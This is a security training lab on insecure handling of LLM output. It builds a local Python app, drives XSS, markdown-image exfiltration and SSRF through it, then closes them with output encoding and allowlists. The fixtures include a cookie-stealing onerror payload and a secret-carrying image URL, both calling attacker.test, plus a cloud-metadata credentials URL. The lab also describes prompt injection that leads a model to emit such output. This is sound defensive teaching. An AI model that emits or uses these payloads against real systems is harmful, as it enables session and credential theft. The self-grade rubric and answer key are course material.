Lab 11 · Insecure Output Handling → Sink Exploitation

You will stand up a tiny local vulnerable app that renders model output into a web page and fetches URLs the model emits, then drive three classic sinks through it — stored XSS, a markdown-image data-exfiltration channel, and SSRF to a cloud metadata endpoint — all against your own laptop, never a third-party system. Then you will add the two controls that close all three: contextual output encoding and an egress allowlist. You will measure the delta: exfiltrated secret present before, gone after; live script tag before, inert text after; metadata fetch allowed before, denied after. This is OWASP LLM05 (Insecure Output Handling) made concrete.

Time & tier

~120 minutes hands-on · Core tier (maps to module M5 — Securing AI I: the LLM attack surface). Runs fully offline at ₹0 — pure Python standard library, no model call required (the "LLM output" is supplied as fixtures so the lab is deterministic and no API key is needed).

Setup

Self-contained, standard library only. Python 3.11+.

mkdir output-sinks && cd output-sinks
python -m venv .venv && source .venv/bin/activate

The core idea: an LLM was prompted over a document you don't fully control (a support ticket, a scraped page, a RAG chunk). A prompt injection in that document makes the model emit hostile output. Your app then renders that output as HTML and acts on URLs inside it. We model the three malicious outputs an injection could induce as fixtures — you are testing your app's handling, not the model's refusal.

Create sinks.py with the fixtures and both the vulnerable and hardened handlers. This is the complete, executed code for the lab:

import html, re
from urllib.parse import urlparse

SECRET = "SESSION=abcd1234-secret-token"

# --- LLM outputs a prompt-injected document could induce ---
XSS_OUT = ('<img src=x onerror="fetch(\'http://attacker.test/x?c=\'+document.cookie)">Hi')
MD_EXFIL_OUT = f"Here is your summary ![logo](http://attacker.test/pixel.png?d={SECRET})"
SSRF_OUT = "Fetch this: http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# --- VULNERABLE: trusts model output as HTML, auto-loads images, fetches URLs ---
def render_vuln(text):
    return re.sub(r'!\[([^\]]*)\]\(([^)]+)\)', r'<img alt="\1" src="\2">', text)

def fetch_vuln(text):
    return re.findall(r'https?://[^\s"\')]+', text)   # requested server-side => SSRF

# --- HARDENED: encode everything, allowlist image egress and server-side fetch ---
IMG_HOST_ALLOW = {"cdn.internal.test"}
FETCH_HOST_ALLOW = {"api.internal.test"}
BLOCK_NETS = ("169.254.", "127.", "10.", "192.168.", "172.16.")

def render_safe(text):
    blocked = 0
    safe_imgs = {}
    def repl(m):
        nonlocal blocked
        host = urlparse(m.group(2)).hostname or ""
        if host in IMG_HOST_ALLOW:
            key = f"\0IMG{len(safe_imgs)}\0"
            safe_imgs[key] = (f'<img alt="{html.escape(m.group(1))}" '
                              f'src="{html.escape(m.group(2), quote=True)}">')
            return key
        blocked += 1
        return f'[image from {host} blocked]'
    text = re.sub(r'!\[([^\]]*)\]\(([^)]+)\)', repl, text)
    text = html.escape(text)                         # model output is DATA, not markup
    for key, tag in safe_imgs.items():
        text = text.replace(html.escape(key), tag).replace(key, tag)
    return text, blocked

def fetch_safe(text):
    allowed, denied = [], []
    for u in re.findall(r'https?://[^\s"\')]+', text):
        host = urlparse(u).hostname or ""
        if host in FETCH_HOST_ALLOW and not host.startswith(BLOCK_NETS):
            allowed.append(u)
        else:
            denied.append(u)
    return allowed, denied

Guided steps

1. 1.

   Fire the XSS sink. In a Python REPL or a script, run render_vuln(XSS_OUT). The output contains a live <img ... onerror=...> tag: dropped into a browser DOM, the onerror handler executes and ships document.cookie to attacker.test. Confirm with "onerror=" in render_vuln(XSS_OUT) → True. The app never wrote <script> — the model did, and the app trusted it.

2. 2.

   Close it with encoding, and prove it's inert. Run render_safe(XSS_OUT). The <img onerror> becomes <img ... onerror=...> — visible text, not an executing tag. Confirm the executable form is gone:

   Copy

   safe, _ = render_safe(XSS_OUT)
   assert not re.search(r'<img[^>]*onerror', safe)   # no live handler
   

   The control is contextual output encoding: treat model output as data to be displayed, never as markup to be parsed.

3. 3.

   Fire the markdown-image exfil channel. This is the sneaky one — it needs no <script> at all. Run render_vuln(MD_EXFIL_OUT): the markdown image becomes <img src="http://attacker.test/pixel.png?d=SESSION=...">. When the browser auto-loads that image, the secret in the query string is exfiltrated by the mere act of rendering. Confirm SECRET in render_vuln(MD_EXFIL_OUT) → True. No user click required.

4. 4.

   Close it with an egress allowlist. Run render_safe(MD_EXFIL_OUT). Because attacker.test is not on IMG_HOST_ALLOW, the image is dropped to [image from attacker.test blocked] and the secret never appears in a fetchable position:

   Copy

   safe, blocked = render_safe(MD_EXFIL_OUT)
   assert SECRET not in safe                    # secret never reaches output
   assert 'src="http://attacker' not in safe    # no live egress
   assert blocked == 1
   

   Output encoding alone would escape the image but a naively "rendered" markdown pipeline still emits it — the egress allowlist is the control that specifically kills the auto-loading exfil channel.

5. 5.

   Fire the SSRF sink. Run fetch_vuln(SSRF_OUT). Your app extracts http://169.254.169.254/latest/meta-data/... and would request it server-side, handing back cloud IAM credentials to the attacker who planted the URL. Confirm the metadata endpoint is in the returned list.

6. 6.

   Close it with a host allowlist plus a private-range block. Run fetch_safe(SSRF_OUT):

   Copy

   allowed, denied = fetch_safe(SSRF_OUT)
   assert allowed == []                         # nothing fetched
   assert denied != []                          # metadata URL explicitly denied
   

   Two layers: the host must be on FETCH_HOST_ALLOW, and link-local/private ranges (169.254., 127., RFC-1918) are blocked outright so an allowlisted-but-rebindable hostname can't smuggle you back to the metadata service.

7. 7.

   Run the whole regression as one script. Wrap steps 1–6 as assertions in test_sinks.py and run python test_sinks.py. It should print the before/after for each sink and end with all assertions passing — this is the regression suite that fails the build if any sink reopens.

Verification

• •
  render_vuln(XSS_OUT) yields a live onerror handler; render_safe(XSS_OUT) yields inert escaped text.
• •
  render_vuln(MD_EXFIL_OUT) contains the secret in an image src; render_safe drops the image and the secret.
• •
  fetch_vuln(SSRF_OUT) returns the metadata URL; fetch_safe(SSRF_OUT) returns it only in the denied list.
• •
  python test_sinks.py runs all three sinks and exits 0 with every assertion passing.

Completion artifact

The output-sinks/ folder (sinks.py, test_sinks.py) plus RESULTS.md recording, per sink, the exploit outcome before and the blocked outcome after, and one sentence naming which control closed it. Self-grade (pass = 8/10):

• Three sinks reproduced (0–3): XSS, markdown-image exfil, and SSRF each demonstrated firing = 3.
• Correct control per sink (0–3): encoding for XSS, egress allowlist for exfil, host-allowlist + private-range block for SSRF — not one blanket filter = 3.
• Measured delta (0–2): secret present→absent, handler live→inert, fetch allowed→denied, all recorded = 2.
• Regression form (0–2): controls captured as a runnable test that fails closed if a sink reopens = 2.

Stuck?

• render_safe still shows a tag: ensure you escape the entire string after extracting only allowlisted images to placeholders — escaping first and re-inserting only vetted images is what neutralizes a raw <img onerror> the model emitted (a subtle bug: a naive split-on-<img> approach whitelists the attacker's tag too — see the answer key).
• Exfil assertion trips on the "blocked" notice: the placeholder text may echo the hostname harmlessly; assert on the secret's absence and no live src, not on the hostname string.
• SSRF allowlist feels redundant with the private-range block: it isn't — the allowlist stops external exfil hosts, the range block stops internal/metadata targets; you need both.
• Want a real browser to prove the XSS: open the vuln vs safe output in a local .html file; the vuln alerts, the safe shows text. Keep it local.

Client-safe variant

This lab is local-only and needs no client data, so it runs unchanged on any engagement. The transferable deliverable is a sink inventory for the client's LLM feature: for every place model output flows (HTML render, markdown display, server-side fetch, SQL, shell, a downstream tool argument), record the sink type and the specific encoding/allowlisting control that guards it. That inventory, plus this runnable regression harness pointed at the client's own handlers, is the OWASP-LLM05 evidence a client AppSec lead needs — and because it is deterministic and offline, it produces no attack traffic against client systems.

Answer key (don't read before attempting)

1. 1The bug hidden in the defense: an early, tempting version of render_safe splits the text on <img ...> tags and passes anything matching straight through as "already safe HTML." That whitelists the attacker's raw <img onerror> too, so the XSS survives hardening. The correct approach extracts only the markdown images you build (to placeholders), escapes the entire remaining string so any raw tag the model emitted becomes inert text, then re-inserts only your vetted images. This bug is seeded in the "Stuck?" note because it is the exact mistake real teams ship.
2. 2Why the markdown-image channel is the dangerous one: it needs no script execution and no user interaction — the browser auto-fetches images, so rendering is the exploit. Teams that "escape HTML" but then render markdown-to-HTML still emit the image; only the egress allowlist closes it. This is the OWASP-LLM05 sink most reviews miss.
3. 3Why SSRF needs two controls: an allowlist of external hosts does not stop 169.254.169.254; a private-range block does not stop exfil to evil.example. The metadata endpoint is the highest-value SSRF target in cloud environments, which is why the private-range block is non-negotiable even with an allowlist.
4. 4Executed vs verified: all of sinks.py runs in the standard library and the three before/after deltas were executed and asserted. The optional "real browser" confirmation is a manual verify step; the Python regression is the executed proof.